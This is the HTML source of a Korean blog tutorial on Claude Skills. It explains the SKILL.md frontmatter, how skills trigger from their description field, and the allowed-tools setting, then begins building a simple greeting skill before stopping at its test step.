&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude Skills&lt;/b&gt;는 Claude 사용자가 자주 사용하는 프롬프트 패턴과 도구를 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;패키징한 재사용 가능한 단위&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;쉽게 말해, &quot;이런 상황에서는 이렇게 대답해&quot;라는 규칙을 미리 정의해두는 것과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;핵심: Model-invoked vs User-invoked&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Skill의 가장 큰 특징은 자동 호출&lt;/b&gt;이다. 사용자가 명령어를 입력하지 않아도, Claude가 스스로 &quot;아, 이건 커밋 메시지 만들어달라는 거구나!&quot;라고 이해하고 자동으로 &lt;b&gt;commit-helper 스킬을 활성화&lt;/b&gt;한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Skills (Model-invoked)&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Slash Commands (User-invoked)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;호출 주체&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #28a745; font-weight: 600;&quot;&gt;Claude (Model)&lt;/span&gt;&lt;br /&gt;의도를 자동으로 파악&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;span style=&quot;color: #0066cc; font-weight: 600;&quot;&gt;사용자 (User)&lt;/span&gt;&lt;br /&gt;명시적으로 입력&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;사용 방법&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;커밋해줘&quot; &amp;rarr; 자동 호출&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/commit-helper&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;핵심 메커니즘&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;description&lt;/code&gt; 필드의 의미적 분석&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;명령어 이름 매칭&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #ffffff; padding: 15px; border-radius: 8px; margin-top: 15px; border: 1px dashed #0066cc;&quot;&gt;
&lt;p style=&quot;margin: 0; font-size: 14px; color: #333;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;실제 동작 예시:&lt;/b&gt;&lt;br /&gt;사용자: &quot;커밋 메시지 만들어줘&quot;&lt;br /&gt;&amp;darr;&lt;br /&gt;&lt;span style=&quot;color: #28a745;&quot;&gt;Claude:&lt;/span&gt; &quot;&lt;code&gt;description&lt;/code&gt;을 분석하니... 'commit', '커밋', '커밋 메시지' 키워드가 있네! &lt;b&gt;commit-helper 스킬 자동 활성화!&lt;/b&gt;&quot;&lt;br /&gt;&amp;darr;&lt;br /&gt;&lt;span style=&quot;color: #0066cc;&quot;&gt;결과:&lt;/span&gt; 커밋 메시지 생성 시작 (사용자가 &lt;code&gt;/skill commit-helper&lt;/code&gt; 입력할 필요 없음)&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Skills의 정의와 목적&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude를 사용하다 보면 반복적으로 사용하는 패턴이 있다:&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;코드 리뷰할 때마다 같은 체크리스트를 설명한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;문서를 작성할 때마다 동일한 포맷을 요청한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;특정 도구 사용 방법을 매번 설명한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Skills는 이런 &lt;b&gt;반복되는 상호작용 패턴을 캡슐화&lt;/b&gt;하여, 매번 긴 프롬프트를 입력하지 않아도 되게 해준다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;CLAUDE.md와의 차이점&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;CLAUDE.md는 프로젝트 규칙과 지침을 저장하는 &lt;b&gt;정적 파일&lt;/b&gt;이다. 반면 Skills는 &lt;b&gt;동적이고 상황에 맞춰 호출&lt;/b&gt;될 수 있다. 사용자가 &lt;code&gt;/skill my-skill&lt;/code&gt; 명령어로 필요할 때만 활성화할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;자동 설치 및 도구 노출&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Skills의 가장 큰 장점은 &lt;b&gt;자동 설치&lt;/b&gt;와 &lt;b&gt;도구 자동 노출&lt;/b&gt; 기능이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;기능&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;자동 설치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;사용자가 /skill 호출 시 자동으로 설치&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;/skill code-review&lt;/code&gt; &amp;rarr; 자동 설치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;도구 자동 노출&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;Skill에 포함된 도구를 Claude가 자동 인식&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;파일 읽기 도구가 자동으로 사용 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;on-demand 호출&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;필요할 때만 활성화&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;특정 작업 시에만 skill 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Skills 핵심 기능&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;패키징&lt;/b&gt;: 프롬프트와 도구를 하나로 묶기&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;자동 설치&lt;/b&gt;: 사용자가 호출하면 자동으로 설치&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;도구 노출&lt;/b&gt;: Claude가 관련 도구를 자동 인식&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;재사용성&lt;/b&gt;: 여러 세션에서 반복 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: SKILL.md 파일 구조 상세 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. SKILL.md 파일 구조 상세&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Skill 파일은 &lt;b&gt;YAML Frontmatter&lt;/b&gt;와 &lt;b&gt;Markdown 본문&lt;/b&gt;으로 구성된다. 가장 중요한 것은 &lt;code&gt;description&lt;/code&gt; 필드dlek.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 YAML Frontmatter (프론트 매터)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;프론트 매터는 파일 맨 위에 &lt;code&gt;---&lt;/code&gt;로 감싸진 YAML 형식의 메타데이터다. &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;이 부분이 자동 트리거의 핵심이다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// SKILL.md 기본 구조&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;---
# 필수 필드
name: my-skill                    # 스킬 식별자 (영어, 소문자, 하이픈 권장)
description: &quot;...&quot;                # 가장 중요하다! 자동 트리거 결정

# 선택 필드
allowed-tools:                    # 도구 접근 제한 (보안용)
  - &quot;Read&quot;
  - &quot;Write&quot;
  - &quot;Bash&quot;
---&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff9e6; padding: 20px; border-radius: 12px; border-left: 5px solid #ff9800; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #ff9800; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;description 필드: 자동 트리거의 핵심&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;description&lt;/code&gt;은 Claude가 사용자 의도를 파악하여 자동으로 스킬을 활성화하는 데 사용된다. &lt;b&gt;50-200자 권장&lt;/b&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 15px; border-radius: 6px; margin: 15px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px;&quot;&gt;&lt;code&gt;# 실제 예시: commit-helper 스킬
description: Use this skill when user mentions &quot;commit&quot;, &quot;커밋&quot;, &quot;커밋 메시지&quot;, &quot;git commit&quot; or wants to create a commit message for generating structured commit messages following project conventions (Korean/English, with/without body).&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;br /&gt;좋은 description 구조:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;핵심 기능:&lt;/b&gt; 무엇을 하는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;사용 시기:&lt;/b&gt; 언제 사용하는가?&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;명시적 키워드:&lt;/b&gt; &quot;Keywords: ...&quot; 형식&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;다국어 지원:&lt;/b&gt; 영어 + 한국어 키워드 혼용&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 자동 트리거 (Auto-triggers) 동작 방식&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude는 다음 세 가지 방식으로 사용자 의도를 파악한다:&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;방식&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;의미적 분석&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;전체 문맥을 이해하여 의도 파악&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;기능을 계획해줘&quot; &amp;rarr; planner-skill&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f5f9fc;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;키워드 매칭&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;description의 명시적 키워드&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;커밋&quot; &amp;rarr; commit-helper&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;다국어 지원&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;한국어 + 영어 혼용 지원&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #b3d9ff;&quot;&gt;&quot;바이브 코딩&quot;, &quot;vibe coding&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 20px; border-radius: 12px; border-left: 5px solid #28a745; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #28a745; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;실제 자동 트리거 예시&lt;/h4&gt;
&lt;div style=&quot;background-color: #ffffff; padding: 15px; border-radius: 8px; margin-bottom: 15px; border: 1px solid #28a745;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;planner-skill 스킬&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 12px; border-radius: 6px; margin: 10px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px;&quot;&gt;&lt;code&gt;description: &quot;Creates phase-based plans with quality gates... Keywords: plan, planning, phases, breakdown, strategy, roadmap, organize, structure, outline.&quot;&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;자동 호출되는 경우:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 0 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;이 기능을 계획해줘&quot;&lt;/li&gt;
&lt;li&gt;&quot;로드맵 작성 도와줘&quot;&lt;/li&gt;
&lt;li&gt;&quot;태스크를 단계별로 분리하고 싶어&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; padding: 15px; border-radius: 8px; border: 1px solid #28a745;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 스킬 (한국어 지원)&lt;/p&gt;
&lt;div style=&quot;background-color: #1e3a52; color: #e2e8f0; padding: 12px; border-radius: 6px; margin: 10px 0; overflow-x: auto; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px;&quot;&gt;&lt;code&gt;description: &quot;바이브 코딩 AI 컨설턴트 - 코딩 경험 없는 초보자를 위한 1:1 기획 가이드... Keywords: 바이브코딩, vibe coding, 기획, planning, MVP, 초보자, beginner, 아이디어&quot;&lt;/code&gt;&lt;/div&gt;
&lt;p style=&quot;margin: 5px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;자동 호출되는 경우:&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 0 20px; padding: 0; font-size: 14px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;바이브 코딩으로 기획 도와줘&quot;&lt;/li&gt;
&lt;li&gt;&quot;초보자를 위한 기획 가이드&quot;&lt;/li&gt;
&lt;li&gt;&quot;아이디어를 MVP로 구체화하고 싶어&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 allowed-tools: 도구 접근 제어&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;&lt;code&gt;allowed-tools&lt;/code&gt;는 스킬이 사용할 수 있는 도구를 제한한다. &lt;b&gt;선택적 필드&lt;/b&gt;이지만, 보안이 필요한 경우 권장된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 실제 shadcn-ui 스킬 예시&lt;/div&gt;
&lt;pre class=&quot;yaml&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;---
name: shadcn-ui
description: &quot;Expert guidance for integrating shadcn/ui...&quot;
allowed-tools:
  - &quot;shadcn*:*&quot;       # 와일드카드: shadcn로 시작하는 모든 도구
  - &quot;mcp_shadcn*&quot;     # MCP 서버의 shadcn 관련 도구
  - &quot;Read&quot;            # 기본 도구들
  - &quot;Write&quot;
  - &quot;Bash&quot;
  - &quot;web_fetch&quot;
---&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #fff9e6;&quot;&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;패턴&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;의미&lt;/th&gt;
&lt;th style=&quot;padding: 15px; text-align: left; border: 1px solid #ffcc66; font-weight: 600;&quot;&gt;예시&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;code&gt;&quot;shadcn*:*&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;와일드카드: shadcn로 시작하는 모든 도구&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;shadcn:add, shadcn:init 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #fffef5;&quot;&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;code&gt;&quot;mcp_*&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;모든 MCP 서버 도구&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;mcp_memory, mcp_sequential 등&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;&lt;code&gt;&quot;Read&quot;&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;특정 기본 도구&lt;/td&gt;
&lt;td style=&quot;padding: 12px; border: 1px solid #ffcc66;&quot;&gt;Read 도구만 허용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 첫 스킬 10분 완성 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 스킬 만들어 보기&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이제 실제로 스킬을 만들어보자.&lt;/p&gt;
&lt;div style=&quot;background-color: #f0f7ff; padding: 20px; border-radius: 12px; border-left: 5px solid #0066cc; margin: 25px 0;&quot;&gt;
&lt;h4 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px;&quot; data-ke-size=&quot;size20&quot;&gt;목표: &quot;안녕&quot; 스킬 만들기&lt;/h4&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;사용자가 &quot;안녕&quot;이라고 하면 한국어로, &quot;hello&quot;라고 하면 영어로 인사하는 간단한 스킬이다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 디렉토리 생성&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// 터미널에서 실행&lt;/div&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# 개인 스킬 디렉토리 생성
mkdir -p ~/.claude/skills/hello-skill

# 생성 확인
ls -la ~/.claude/skills/&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: SKILL.md 파일 생성 (7분)&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;16px&quot;&gt;VS Code나 텍스트 편집기로 파일을 만들자.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 10px;&quot;&gt;// ~/.claude/skills/hello-skill/SKILL.md&lt;/div&gt;
&lt;pre class=&quot;markdown&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;---
name: hello-skill
description: &quot;Greets users appropriately. 한국어로 '안녕', 'hello'라고 하면 자동으로 인사한다. Use when user says 안녕, hello, hi, greeting. Keywords: 안녕, hello, hi, greeting, 인사, hello-skill.&quot;
---

# Hello Skill

## 자동 호출 트리거
안녕, hello, hi, greeting, 인사

## 작동 방식

### 한국어 감지
사용자가 &quot;안녕&quot;이라고 하면:
- &quot;안녕! 반갑다. 오늘도 좋은 하루 되길!&quot;

### 영어 감지
사용자가 &quot;hello&quot;, &quot;hi&quot;라고 하면:
- &quot;Hello! Nice to meet you. Have a great day!&quot;

### 기타 언어
그 외의 언어로는:
- &quot;Hello! / 안녕!&quot; (이중 인사)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #d4edda; padding: 15px; border-radius: 8px; margin: 20px 0; border-left: 4px solid #28a745;&quot;&gt;
&lt;p style=&quot;margin: 0 0 10px 0; font-weight: 600;&quot; data-ke-size=&quot;size16&quot;&gt;저장 확인&lt;/p&gt;
&lt;code style=&quot;background: #fff; padding: 5px 10px; border-radius: 4px;&quot;&gt;~/.claude/skills/hello-skill/SKILL.md&lt;/code&gt;
&lt;p style=&quot;margin: 10px 0 0 0; font-size: 14px;&quot; data-ke-size=&quot;size14&quot;&gt;이 경로에 파일이 저장되었는가?&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 테스트 (2분)&lt;/h3&gt;
